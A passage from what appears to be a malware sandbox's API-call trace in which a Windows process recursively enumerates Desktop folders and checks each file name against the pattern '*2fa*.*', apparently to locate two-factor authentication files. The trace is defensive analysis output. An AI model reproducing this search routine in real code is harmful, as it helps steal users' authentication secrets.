returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.725] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.725] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.725] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.725] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.725] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.726] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0146.726] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x32bb658 [0146.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x32bb658, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", lpUsedDefaultChar=0x0) returned 71 [0146.726] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.726] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb658 | out: hHeap=0x2360000) returned 1 [0146.726] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.726] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac18 [0146.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236ac18, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.726] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac18 | out: hHeap=0x2360000) returned 1 [0146.726] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*2fa*.*") returned 0 [0146.726] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0146.726] FindNextFileW (in: hFindFile=0x882b30, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 1 [0146.726] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.726] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.727] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.727] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.727] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.727] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.727] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0146.727] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x48) returned 0x32bb568 [0146.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x32bb568, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", lpUsedDefaultChar=0x0) returned 72 [0146.727] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.727] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb568 | out: hHeap=0x2360000) returned 1 [0146.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236aac8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.727] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*2fa*.*") returned 0 [0146.727] FindNextFileW (in: hFindFile=0x882b30, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 0 [0146.727] FindClose (in: hFindFile=0x882b30 | out: hFindFile=0x882b30) returned 1 [0146.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0146.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x32ba7c8, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpUsedDefaultChar=0x0) returned 59 [0146.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ab40, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.732] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*2fa*.*") returned 0 [0146.732] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b2d460, ftCreationTime.dwHighDateTime=0x1d7a77b, ftLastAccessTime.dwLowDateTime=0x6b8dc8d0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0x6b8dc8d0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x12280, dwReserved0=0x0, dwReserved1=0x0, cFileName="6_Lz6Ex2GE8X0H7LSYpm.doc", cAlternateFileName="6_LZ6E~1.DOC")) returned 1 [0146.732] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.733] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.733] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.733] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.733] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.733] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0146.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x2362c50, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", lpUsedDefaultChar=0x0) returned 76 [0146.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ac00, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.733] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*2fa*.*") returned 0 [0146.733] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0cea770, ftCreationTime.dwHighDateTime=0x1d7a491, ftLastAccessTime.dwLowDateTime=0x2fd030a0, ftLastAccessTime.dwHighDateTime=0x1d7a4e8, ftLastWriteTime.dwLowDateTime=0x2fd030a0, ftLastWriteTime.dwHighDateTime=0x1d7a4e8, nFileSizeHigh=0x0, nFileSizeLow=0x113ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="i33RqOxAVJq9dL.mkv", cAlternateFileName="I33RQO~1.MKV")) returned 1 [0146.733] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.733] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.734] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.734] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.734] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.734] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x32bb3d8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", lpUsedDefaultChar=0x0) returned 70 [0146.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236aab0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.734] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*2fa*.*") returned 0 [0146.734] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mhr9", cAlternateFileName="")) returned 1 [0146.734] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.734] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.734] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.734] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.735] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.735] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.735] lstrcmpW (lpString1="Mhr9", lpString2=".") returned 1 [0146.735] lstrcmpW (lpString1="Mhr9", lpString2="..") returned 1 [0146.735] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.735] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*" [0146.735] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882830 [0146.735] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.735] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.735] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.735] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.735] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.735] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.735] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.735] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.736] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.736] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.736] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.736] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.736] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.736] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.736] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.736] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.736] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9341b3e0, ftCreationTime.dwHighDateTime=0x1d7ad29, ftLastAccessTime.dwLowDateTime=0xe4634550, ftLastAccessTime.dwHighDateTime=0x1d7ae40, ftLastWriteTime.dwLowDateTime=0xe4634550, ftLastWriteTime.dwHighDateTime=0x1d7ae40, nFileSizeHigh=0x0, nFileSizeLow=0x25cd, dwReserved0=0x0, dwReserved1=0x0, 